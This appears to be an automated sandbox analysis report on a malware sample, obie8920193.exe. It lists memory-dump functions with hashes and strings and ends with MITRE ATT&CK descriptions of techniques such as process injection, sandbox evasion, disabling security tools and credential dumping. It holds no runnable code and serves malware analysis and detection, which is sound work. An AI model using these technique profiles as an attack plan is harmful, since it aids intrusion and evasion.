Download Yara Rule

Strings

&k, xrefs: 0026E53E

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID: &k
API String ID: 0-4254052200
Opcode ID: 2cfd93cf6d706761e9d1295b2823961a4b8c96baacc9a36f7260f020bb61b70e
Instruction ID: d7ebe0d80d3efd8ea1fa124beab822fb05f1e6528b898deec4861b5470ef551e
Opcode Fuzzy Hash: 2cfd93cf6d706761e9d1295b2823961a4b8c96baacc9a36f7260f020bb61b70e
Instruction Fuzzy Hash: 39E10C78E101598FCB14DFA9D580AADFBB2FF89304F258169D815AB356D730AD82CF60

Function 0026EC90 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

8+k, xrefs: 0026EE5E

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID: 8+k
API String ID: 0-2032740483
Opcode ID: f0ab5201659bce72ad43734ea7a9699673c958a894fc3bcfe08be6a29f156b11
Instruction ID: 377694c87564085033e7c476c4dcc3fc6ad10c0ca4183df0c9e16c9652fd052d
Opcode Fuzzy Hash: f0ab5201659bce72ad43734ea7a9699673c958a894fc3bcfe08be6a29f156b11
Instruction Fuzzy Hash: 28E1FB74E102598FCB14DFA9D580AADFBF2BF89304F258169D814AB356D7319D82CF60

Function 0026E798 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

)k, xrefs: 0026E798

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID: )k
API String ID: 0-3758044612
Opcode ID: 543f4f22a73938df02b2598bbd97526dd38ddea4f0a8b6e8e9d1b9ff6d085091
Instruction ID: e261e231a9b8f64f3b942b6407c440e03063dc6c51e35362e127668057c659af
Opcode Fuzzy Hash: 543f4f22a73938df02b2598bbd97526dd38ddea4f0a8b6e8e9d1b9ff6d085091
Instruction Fuzzy Hash: 77511C74E102598FDB14CFA9D5805AEFBF2BF89304F25816AD818A7256D7309941CFA0

Function 0026F0C8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4cadc1859dceffd3a37a09ce15a976d579568a1cf8538eb7607197bcbfd3b87
Instruction ID: a19530c61071a60c92bd110ce97ffd88a05e677272b5176f12f461ccbf12ec76
Opcode Fuzzy Hash: f4cadc1859dceffd3a37a09ce15a976d579568a1cf8538eb7607197bcbfd3b87
Instruction Fuzzy Hash: 49E10C74E102598FCB54DFA9D580AAEFBB2FF89304F248169D814A7356D730AD81CFA0

Function 0026E7A8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32dc0c863fbe3a8c3175ab4d48fe412618d1efce8a73f86d918d9b3e5890029e
Instruction ID: 126467bb4595cf2266b0c162dcdd7eebac78a442a7ab7cb816c49641d9cc3626
Opcode Fuzzy Hash: 32dc0c863fbe3a8c3175ab4d48fe412618d1efce8a73f86d918d9b3e5890029e
Instruction Fuzzy Hash: A1E10B74E101598FCB14DFA9D580AADFBB2FF89304F258169D815AB356D730AD82CFA0

Function 0026FA70 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a448483b93b483b1a6c68432b0ca049c1fc6fcea3b2e81632fd8b95a43c5955
Instruction ID: 5e647d5d226a7f5f53a56d4d949688d75910b4e7eeea4881c50f74feee56bcfb
Opcode Fuzzy Hash: 3a448483b93b483b1a6c68432b0ca049c1fc6fcea3b2e81632fd8b95a43c5955
Instruction Fuzzy Hash: 21E10C74E102598FCB54DFA9D580AADFBB2FF89304F248169D814AB356D731AD82CF60

Function 0026FA60 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab35c43226fa658dac135a0f5b3a07e95cc0bac89d1730311ea5385cc3b9a7cf
Instruction ID: f4985f30392a72be414af97310b839fa639ed9e26dda6976e86db741b2ecaec9
Opcode Fuzzy Hash: ab35c43226fa658dac135a0f5b3a07e95cc0bac89d1730311ea5385cc3b9a7cf
Instruction Fuzzy Hash: 3461F774E102198FCF14CFA9D5809AEFBF2BF89314F24816AD818AB316D7319941CF60

Function 001C230D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a59aaa5b7bd0955ff8fbf4c53a3adfc74e94d765a0cbfcff6d158d287f9597
Instruction ID: faf2c6d48b0e56deb77c2d37c5328d83713d81b55773a126496e7277f3232bbb
Opcode Fuzzy Hash: a1a59aaa5b7bd0955ff8fbf4c53a3adfc74e94d765a0cbfcff6d158d287f9597
Instruction Fuzzy Hash: 36E0923494A154DFCB14DF94E844BF8B7BCF76A311F1560AAD50EA3261DB309A89EF10

Analysis Process: obie8920193.exePID: 3244, Parent PID: 3152COMMON

Execution Graph

Execution Coverage:	13%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.6%
Total number of Nodes:	14
Total number of Limit Nodes:	0

Executed Functions

Function 003CFCB8 Relevance: 1.6, APIs: 1, Instructions: 124
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(000000FF), ref: 003CFE1A

Memory Dump Source

Source File: 00000007.00000002.864098799.00000000003C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3c0000_obie8920193.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fc725fac89748b705ca636c0ecadf8e47819bd69309a664caf847808857bffcd
Instruction ID: 5d42983b044c137bdd348a1790af5efb2e82893f38104628b332a68d1129b415
Opcode Fuzzy Hash: fc725fac89748b705ca636c0ecadf8e47819bd69309a664caf847808857bffcd
Instruction Fuzzy Hash: EC5112B4D01218CFDB18CFAAD488BDDBBB2BF88314F20C52AE415AB294D7749845CF50

Function 00575E58 Relevance: .7, Instructions: 745
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60104d8c51657e5aa4e21069014426b1dc12487e66c87dc61ca1da35075dd0c8
Instruction ID: d81415765d5eb89986bc0494fbde8b4ecbc4183078d9f6bbc2fcc264b7dec8c8
Opcode Fuzzy Hash: 60104d8c51657e5aa4e21069014426b1dc12487e66c87dc61ca1da35075dd0c8
Instruction Fuzzy Hash: B9827E74E012688FDB64DF69DC98BDDBBB2AF89300F1481EA950DA7265DB315E81CF40

Function 0057F460 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2c181b8da4b83a856425a91e1f4a38323f09218190de012123acc4c58594c9
Instruction ID: 20d727330a81ebf0a1e0abbddaf5f61ac32205adf155d2fe9e504ddcc4c50f94
Opcode Fuzzy Hash: fd2c181b8da4b83a856425a91e1f4a38323f09218190de012123acc4c58594c9
Instruction Fuzzy Hash: 14A19175E012288FEB68CF6AD944B9DBBF2BF89300F14C0AAD40DA7255DB345A85CF11

Function 0057EE10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69e0767cd01c735a675977020a00c31f29fd7c3f43ffb1954bd0624ac62889a1
Instruction ID: d8d4657af73bf5e853ce3f28150b130e985c1bb9610223d4c29dcae7f5d4c8fb
Opcode Fuzzy Hash: 69e0767cd01c735a675977020a00c31f29fd7c3f43ffb1954bd0624ac62889a1
Instruction Fuzzy Hash: FBA18075E012288FEB68CF6AD944B9DBBF2BF89300F14C0AAD40DA7255DB345A85CF11

Function 0057E7C0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d051999cc6661a142bf1107e8ee5614ba447b21c81c3ed9387e9263d8baf95
Instruction ID: 2ddccfdc35dcb40cff991f353d4ee27543346886514e4d6a9aec98cf8af7805a
Opcode Fuzzy Hash: 61d051999cc6661a142bf1107e8ee5614ba447b21c81c3ed9387e9263d8baf95
Instruction Fuzzy Hash: F8A19F75E012288FEB68CF6AD945B9DBBF2BB89300F14C0EAD40DA7255DB745A85CF10

Function 0057D4E0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71aca36ca3c9ab1762d38424a1fe21a3febe361c50e0a53e0e5183dd785ed673
Instruction ID: e084f5ca026c042bbbd19c2e3df0f85ecb2ae3b229fe97c2a5e719804f088829
Opcode Fuzzy Hash: 71aca36ca3c9ab1762d38424a1fe21a3febe361c50e0a53e0e5183dd785ed673
Instruction Fuzzy Hash: C0A18374E012288FEB68CF6AD944B9DBBF2BF89300F14C0AAD40DA7255DB345A85CF51

Function 00690040 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864470478.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_690000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba09446fbd579408acffd9a92ffca3cec0f9bb096fc88cbc9d81f4203dd05fa
Instruction ID: b0f0e38c2344f1819fb8bc3c469f62f28a74a28b63a929c30d149eaff746840b
Opcode Fuzzy Hash: bba09446fbd579408acffd9a92ffca3cec0f9bb096fc88cbc9d81f4203dd05fa
Instruction Fuzzy Hash: 6FA19274E01228CFEB68CF6AD944B9DBBF6AF89300F14C1AAD40DA7255DB345A85CF11

Function 00690CD8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864470478.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_690000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26bfaaf6814ef7e04e9b4f96932328c399835da5278abe7726898d77555414a0
Instruction ID: e1a16897b14f22a50849568bd1741bc02d12661ba5478e405022c060a9ce8f22
Opcode Fuzzy Hash: 26bfaaf6814ef7e04e9b4f96932328c399835da5278abe7726898d77555414a0
Instruction Fuzzy Hash: B3A19374E012288FEB68CF6AD944BDDBBF6AF89300F14C0AAD50DA7255DB345A85CF11

Function 0057E178 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11199036ba2eb85b313357dc577b6e732ae6410f9f2742939def0df8893a3bb3
Instruction ID: ba13d5ab2a5cde04621d7df226bcc169faa6e500b7d7b576ac9089c1822b27ec
Opcode Fuzzy Hash: 11199036ba2eb85b313357dc577b6e732ae6410f9f2742939def0df8893a3bb3
Instruction Fuzzy Hash: 1CA17074E012288FEB68CF6AD945B9DBBF2BB89300F14C4AAD40DA7255DB345A85CF11

Function 0057DB30 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efc051eb8cb112d0cc42c776d153f3f0e68b709c642159f7b171858973ad206f
Instruction ID: 21df63909ec7113202826d7782fe0f11a0e020f7b582c0060e5bff2471c9a927
Opcode Fuzzy Hash: efc051eb8cb112d0cc42c776d153f3f0e68b709c642159f7b171858973ad206f
Instruction Fuzzy Hash: 2BA18175E012288FEB68CF6AD944B9DBBF2BF89300F14C0AAD40DA7255DB345A85CF51

Function 00690690 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864470478.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_690000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 112b66137c519f1ed77983d0d93d21809f5b76c698893c2519e2265c8718897e
Instruction ID: 51c3bd93b03984c68db497c00c3a9f92a64dbea8eac7d3896abecaf92e0d2812
Opcode Fuzzy Hash: 112b66137c519f1ed77983d0d93d21809f5b76c698893c2519e2265c8718897e
Instruction Fuzzy Hash: 8EA19174E01228CFEB68CF6AD944BDDBBF2AF89300F14C0AAD409A7255DB345A85CF50

Function 00690006 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864470478.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_690000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0c5fe8e0eca9d1dce1a01f602de49c53a97d28f9c90b263f440f86f53e659e0
Instruction ID: f40f92ba85b7204dc1d4bfab1e84cf2c03e1e1be75f0ebea9907991f755f4700
Opcode Fuzzy Hash: e0c5fe8e0eca9d1dce1a01f602de49c53a97d28f9c90b263f440f86f53e659e0
Instruction Fuzzy Hash: FF51A571E056588FEB59CF6AD9557D9BBF3AFC9200F04C0AAC44CAA265DB340A86CF11

Function 003CFE53 Relevance: 1.6, APIs: 1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.864098799.00000000003C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3c0000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e007139dc278ae8036ac28f0ba761be8ce25846e1de8e99f9e61985af786c437
Instruction ID: f8ed795f5d2e18ab8d0152601e8c6506a5f2a996caad4b4aee1c822707efb4cc
Opcode Fuzzy Hash: e007139dc278ae8036ac28f0ba761be8ce25846e1de8e99f9e61985af786c437
Instruction Fuzzy Hash: F151EFB4D01208CFCB15CFA9D488BECBBB6FF49325F209529E016AB295D7749885CF14

Function 0057CF30 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7f2e68136ac94458403e59e35ba9fff324d83bd9f01289871189e1dc7db4bb8
Instruction ID: a60718c817df8897f07800e8c0c2c9f78170629bee41a9baac648a777384919f
Opcode Fuzzy Hash: d7f2e68136ac94458403e59e35ba9fff324d83bd9f01289871189e1dc7db4bb8
Instruction Fuzzy Hash: B141A174E01218CFDB54DFA9E598BEDBBF2BF49300F20912AD809A7294DB345A46CF54

Function 001FD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864004992.00000000001FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fd000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36beff617af57bd7014613533ce210f433b6f5de1f90a58dcafabc589b295174
Instruction ID: 0d1e960966b2971c89c3cd62f1c01534a9b3f5efb8c3aee987772c787a67ade1
Opcode Fuzzy Hash: 36beff617af57bd7014613533ce210f433b6f5de1f90a58dcafabc589b295174
Instruction Fuzzy Hash: 0721F2B1604248AFDB15CF24E8C4B36BB66EB84314F34C5A9E9494B246CB36D847CB61

Function 001FD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864004992.00000000001FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fd000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 3e3f7a4bf50355bf73bcfffc23bd96d5bf4b0209aacd46b2b5d84e4bb4fe8715
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 9311D075504244CFDB12CF10D9C4B25BF62FB44314F24C6ADE9494B256C33AD84ACF61

Function 001FD006 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.864004992.00000000001FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fd000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7306a6c0cd1ab2d411fbb8dfcf63e7e607d0d3b8f8d84c8ff3035794112c797
Instruction ID: 7eb935f2ec658674873c0bea5f78148d82fc6543460d10d6aaf0704ff4c0864a
Opcode Fuzzy Hash: d7306a6c0cd1ab2d411fbb8dfcf63e7e607d0d3b8f8d84c8ff3035794112c797
Instruction Fuzzy Hash: C511D37140E3C48FD7078B7099A42267F709F43214F1A85EBC5C5CF1A3C26A880AC763

Non-executed Functions

Function 00576CC8 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PHp, xrefs: 005770FA
PHp, xrefs: 005771EF
PHp, xrefs: 00577203
PHp, xrefs: 0057710E
PHp, xrefs: 00577002
PHp, xrefs: 005772FE
", xrefs: 0057749F
PHp, xrefs: 00577016
PHp, xrefs: 005772EA

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: 2e8171b0b891612dca8656084d32e6e787263d2847c5d0d27b420c21f481ed3b
Instruction ID: f356e8e1acf9689be1dda0f317056c743c8c524290f3739e32d8d99529b1e7e7
Opcode Fuzzy Hash: 2e8171b0b891612dca8656084d32e6e787263d2847c5d0d27b420c21f481ed3b
Instruction Fuzzy Hash: E2328074E01218CFDB68DF65D988B9DBBB2BF89300F2084A9D409AB355DB719E85DF10

Function 00576CBC Relevance: 11.6, Strings: 9, Instructions: 366COMMON

Download Yara Rule

Strings

PHp, xrefs: 005770FA
PHp, xrefs: 005771EF
PHp, xrefs: 00577203
PHp, xrefs: 0057710E
PHp, xrefs: 00577002
PHp, xrefs: 005772FE
", xrefs: 0057749F
PHp, xrefs: 00577016
PHp, xrefs: 005772EA

Memory Dump Source

Source File: 00000007.00000002.864405088.0000000000570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_570000_obie8920193.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: b3e7840b7d977e95a86ae57b777ae87fb917f2f2b570d2257887ec386b5da6c3
Instruction ID: c73c2ce2b8b6a4153e8fb6c832125593db1646d0a57805688d5c18d8ab00d680
Opcode Fuzzy Hash: b3e7840b7d977e95a86ae57b777ae87fb917f2f2b570d2257887ec386b5da6c3
Instruction Fuzzy Hash: 2002C0B4E012188FDB58DF65D988B9DBBB2BF89300F2085A9D809A7355DB719E85CF10

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

